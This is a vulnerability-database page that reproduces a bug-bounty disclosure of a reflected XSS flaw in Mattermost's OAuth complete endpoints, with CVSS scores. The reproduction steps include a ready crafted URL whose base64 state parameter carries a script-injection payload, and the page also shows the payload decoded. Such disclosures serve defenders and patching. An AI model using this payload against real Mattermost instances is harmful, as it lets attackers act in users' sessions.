Lucene search

K
hackeroneZerodivisi0nH1:1502099
HistoryMar 06, 2022 - 9:01 p.m.

Mattermost: Reflected XSS in OAuth complete endpoints

2022-03-0621:01:59
zerodivisi0n
hackerone.com
$150
7

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:P/A:N

0.0005 Low

EPSS

Percentile

14.4%

Summary:

The following endpoints are vulnerable to reflected XSS:

GET /oauth/{service:[A-Za-z0-9]+}/complete
GET /api/v3/oauth/{service:[A-Za-z0-9]+}/complete
GET /signup/{service:[A-Za-z0-9]+}/complete
GET /login/{service:[A-Za-z0-9]+}/complete

The vulnerability exists due to the lack of sanitizing redirect_to field in state query param here.

Steps To Reproduce:

  1. Setup local mattermost instance e.g. on address http://localhost:8065 (server guide, webapp guide)
  2. Enable gitlab auth at Enable gitlab auth at http://localhost:8065/admin_console/authentication/gitlab. (There may be other ways to enable OAuth, this one seemed the easiest to me)
  3. Open the following link: http://mattermost:8065/login/gitlab/complete?code=x&state=eyJhY3Rpb24iOiJtb2JpbGUiLCJyZWRpcmVjdF90byI6InRlc3RcIj48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4ifQ==. This link contains base64-encoded payload in state param: {"action":"mobile","redirect_to":"test\"><script>alert(document.domain)</script>"}
  4. Get javascript alert with current domain.

Impact

An attacker can distribute a link in a chat with malicious javascript code. This code can send ajax requests on behalf of the user.

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:P/A:N

0.0005 Low

EPSS

Percentile

14.4%

Related for H1:1502099